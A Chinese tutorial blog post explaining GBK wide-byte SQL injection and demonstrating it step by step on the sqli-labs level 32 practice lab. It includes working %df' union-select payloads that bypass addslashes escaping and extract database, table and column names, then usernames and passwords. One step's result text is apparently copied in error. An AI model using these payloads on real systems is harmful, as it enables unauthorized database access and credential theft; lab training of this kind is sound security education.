热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

【SQL注入09】宽字符注入基础与实操(基于sqlilabsless32)

目录1宽字符注入概述1.1GBK编码简介URL编码规律1.2宽字符注入2实验平台2.1实验平台2.2实验目标3实验过程3.1前戏3.2判断注入点及注入类型3.3尝试使用union查

目录

  • 1 宽字符注入概述
    • 1.1GBK编码简介
    • URL编码规律
    • 1.2 宽字符注入
  • 2 实验平台
    • 2.1 实验平台
    • 2.2 实验目标
  • 3 实验过程
    • 3.1 前戏
    • 3.2 判断注入点及注入类型
    • 3.3 尝试使用union查询
    • 3.4 获取库名表名字段名
    • 3.5 实验结果
  • 4 总结


1 宽字符注入概述

1.1GBK编码简介


  1. GBK全称《汉字内码扩展规范》。
  2. GBK 采用双字节表示,总体编码范围为 8140-FEFE,首字节在 81-FE 之间,尾字节在 40-FE 之间,剔除 xx7F 一条线。总计 23940 个码位,共收入 21886 个汉字和图形符号,其中汉字(包括部首和构件)21003 个,图形符号 883 个。
  3. 常用字符GBK编码

符号GBK编码
27
"22
|5C
#23
df5c

URL编码规律


  1. GET型的方式我们是以url形式提交的,因此数据会通过url编码,其实url编码就是一个字符ascii码的十六进制。不过稍微有些变动,需要在前面加上“%”。
  2. 比如“\”,它的ascii码是92,92的十六进制是5c,所以“\”的url编码就是%5c。那么汉字的url编码呢?很简单,看例子:“胡”的ascii码是 -17670,十六进制是BAFA,url编码是“%BA%FA”。

1.2 宽字符注入


  1. 定义:正常情况下GPC开启或者使用addslashes函数过滤GET或POST提交的参数时,我们测试输入的',就会被转义为\',无法成功闭合或者说逃逸。一般这种情况是不存在注入可能的,但是有一种情况除外,就是当后台数据库编码格式为GBK时,可以添加字符欺骗转义函数,'等不被转义。
  2. 适用情形:(1)数据库的编码格式为GBK;(2)在PHP中,通过iconv()进行编码转换。
  3. 原理:加入字节与\构成GBK编码,实现单引号和双引号逃逸。

2 实验平台

2.1 实验平台


  1. 靶机:CentOS7安装docker,利用docker部署sqli-labs来作为实验平台。具体部署过程可以参考文章《Docker上搭建sqli-labs漏洞环境》。
  2. 真实机:本实验利用火狐浏览器来实现,为方便注入过程的编码,建议安装一个扩展插件harkbar,安装过程参考《HackBar免费版安装方法》由于该教程中的2.1.3harkbar我安装后无法正常使用,就安装了HackBar Quantum来代替。
  3. 靶机与真实机桥接到同一局域网中。

2.2 实验目标


  1. 获取后台数据库账号及密码。

3 实验过程

3.1 前戏


  1. 真实机打开火狐浏览器,访问靶机IP地址,出现下图,可以不重置实验平台,直接点击Page2进入找到第32关实验。
    在这里插入图片描述
  2. 点击进入第32关,初始界面如下图:
    在这里插入图片描述

3.2 判断注入点及注入类型


  1. 输入参数为?id=1可以看到数据库成功返回第一个账户账号及密码。修改id=2则是返回第二个账号密码,说明id是一个访问者可以控制输入的参数且页面会根据参数进行响应,是一个注入点。
    在这里插入图片描述
  2. 修改参数为?id=1'可以看到数据库正常回显账号密码,但是提示信息如下,分析提示可知我们输入的单引号被转义成了\'
    在这里插入图片描述
  3. 遇到这种情况只能赌后台数据库编码是不是GBK了,修改参数为?id=1%df',按下图分析错误提醒信息可知该输入为字符型且为单引号闭合,同时可知可以实现宽字符注入。
    在这里插入图片描述

3.3 尝试使用union查询


  1. 目的:判断能否使用union联合查询注入。
  2. 修改参数为?id=1%df' order by 3--+,页面正常显示,当修改参数为4时,页面显示错误,说明回显内容有3列。
    在这里插入图片描述
  3. 修改参数为?id=-1%df' union select 1,2,3--+,可以看到2和3列数据可以回显。说明可以尝试union联合查询注入。
    在这里插入图片描述

3.4 获取库名表名字段名


  1. 获取库名。修改参数为?id=-1%df' union select 1,2,database()--+,发现本站点数据库为security。
    在这里插入图片描述
  2. 获取表名。修改参数为?id=-1%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database()--+,发现该数据库下公有4个表,其中有个users的表,是我们注入的目标。
    在这里插入图片描述
  3. 获取字段名。修改参数为?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'--+,该参数执行失败了,因为整个参数中的所有单引号都会被转义。
    在这里插入图片描述
  4. 用16进制代替英文字符串输入,可以无需使用单引号来括住users,很多工具可以将字符串转为16进制,users转为16进制就是7573657273,为了表示该数是16进制,需要在前面加上0x。修改参数为?id=-1%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name =0x7573657273--+,该参数执行失败了,因为整个参数中的所有单引号都会被转义。
    在这里插入图片描述
  5. 获取字段内容。修改参数为?id=-1%df' union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users--+,该参数中0x3a是冒号的16进制格式,同样也是为了避免使用单引号导致被转义的问题。
    在这里插入图片描述

3.5 实验结果

在上一步成功爆出一堆账号密码,实验成功。

4 总结
  1. 了解GBK编码简单信息;
  2. 理解字节何时会被当做GBK进行解码;
  3. 理解宽字符注入的原理;
  4. 掌握宽字符注入的方法。

推荐阅读
  • 本文详细介绍了SQL日志收缩的方法,包括截断日志和删除不需要的旧日志记录。通过备份日志和使用DBCC SHRINKFILE命令可以实现日志的收缩。同时,还介绍了截断日志的原理和注意事项,包括不能截断事务日志的活动部分和MinLSN的确定方法。通过本文的方法,可以有效减小逻辑日志的大小,提高数据库的性能。 ... [详细]
  • 解决VS写C#项目导入MySQL数据源报错“You have a usable connection already”问题的正确方法
    本文介绍了在VS写C#项目导入MySQL数据源时出现报错“You have a usable connection already”的问题,并给出了正确的解决方法。详细描述了问题的出现情况和报错信息,并提供了解决该问题的步骤和注意事项。 ... [详细]
  • 本文详细介绍了如何使用MySQL来显示SQL语句的执行时间,并通过MySQL Query Profiler获取CPU和内存使用量以及系统锁和表锁的时间。同时介绍了效能分析的三种方法:瓶颈分析、工作负载分析和基于比率的分析。 ... [详细]
  • 生成式对抗网络模型综述摘要生成式对抗网络模型(GAN)是基于深度学习的一种强大的生成模型,可以应用于计算机视觉、自然语言处理、半监督学习等重要领域。生成式对抗网络 ... [详细]
  • 向QTextEdit拖放文件的方法及实现步骤
    本文介绍了在使用QTextEdit时如何实现拖放文件的功能,包括相关的方法和实现步骤。通过重写dragEnterEvent和dropEvent函数,并结合QMimeData和QUrl等类,可以轻松实现向QTextEdit拖放文件的功能。详细的代码实现和说明可以参考本文提供的示例代码。 ... [详细]
  • 本文分享了一个关于在C#中使用异步代码的问题,作者在控制台中运行时代码正常工作,但在Windows窗体中却无法正常工作。作者尝试搜索局域网上的主机,但在窗体中计数器没有减少。文章提供了相关的代码和解决思路。 ... [详细]
  • Java序列化对象传给PHP的方法及原理解析
    本文介绍了Java序列化对象传给PHP的方法及原理,包括Java对象传递的方式、序列化的方式、PHP中的序列化用法介绍、Java是否能反序列化PHP的数据、Java序列化的原理以及解决Java序列化中的问题。同时还解释了序列化的概念和作用,以及代码执行序列化所需要的权限。最后指出,序列化会将对象实例的所有字段都进行序列化,使得数据能够被表示为实例的序列化数据,但只有能够解释该格式的代码才能够确定数据的内容。 ... [详细]
  • CSS3选择器的使用方法详解,提高Web开发效率和精准度
    本文详细介绍了CSS3新增的选择器方法,包括属性选择器的使用。通过CSS3选择器,可以提高Web开发的效率和精准度,使得查找元素更加方便和快捷。同时,本文还对属性选择器的各种用法进行了详细解释,并给出了相应的代码示例。通过学习本文,读者可以更好地掌握CSS3选择器的使用方法,提升自己的Web开发能力。 ... [详细]
  • 本文介绍了C#中生成随机数的三种方法,并分析了其中存在的问题。首先介绍了使用Random类生成随机数的默认方法,但在高并发情况下可能会出现重复的情况。接着通过循环生成了一系列随机数,进一步突显了这个问题。文章指出,随机数生成在任何编程语言中都是必备的功能,但Random类生成的随机数并不可靠。最后,提出了需要寻找其他可靠的随机数生成方法的建议。 ... [详细]
  • 本文介绍了如何将CIM_DateTime解析为.Net DateTime,并分享了解析过程中可能遇到的问题和解决方法。通过使用DateTime.ParseExact方法和适当的格式字符串,可以成功解析CIM_DateTime字符串。同时还提供了关于WMI和字符串格式的相关信息。 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • 闭包一直是Java社区中争论不断的话题,很多语言都支持闭包这个语言特性,闭包定义了一个依赖于外部环境的自由变量的函数,这个函数能够访问外部环境的变量。本文以JavaScript的一个闭包为例,介绍了闭包的定义和特性。 ... [详细]
  • 本文讨论了Kotlin中扩展函数的一些惯用用法以及其合理性。作者认为在某些情况下,定义扩展函数没有意义,但官方的编码约定支持这种方式。文章还介绍了在类之外定义扩展函数的具体用法,并讨论了避免使用扩展函数的边缘情况。作者提出了对于扩展函数的合理性的质疑,并给出了自己的反驳。最后,文章强调了在编写Kotlin代码时可以自由地使用扩展函数的重要性。 ... [详细]
  • FineReport平台数据分析图表显示部分系列接口的应用场景和实现思路
    本文介绍了FineReport平台数据分析图表显示部分系列接口的应用场景和实现思路。当图表系列较多时,用户希望可以自己设置哪些系列显示,哪些系列不显示。通过调用FR.Chart.WebUtils.getChart("chartID").getChartWithIndex(chartIndex).setSeriesVisible()接口,可以获取需要显示的系列图表对象,并在表单中显示这些系列。本文以决策报表为例,详细介绍了实现方法,并给出了示例。 ... [详细]
  • 导出功能protectedvoidbtnExport(objectsender,EventArgse){用来打开下载窗口stringfileName中 ... [详细]
author-avatar
C1_VISION
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有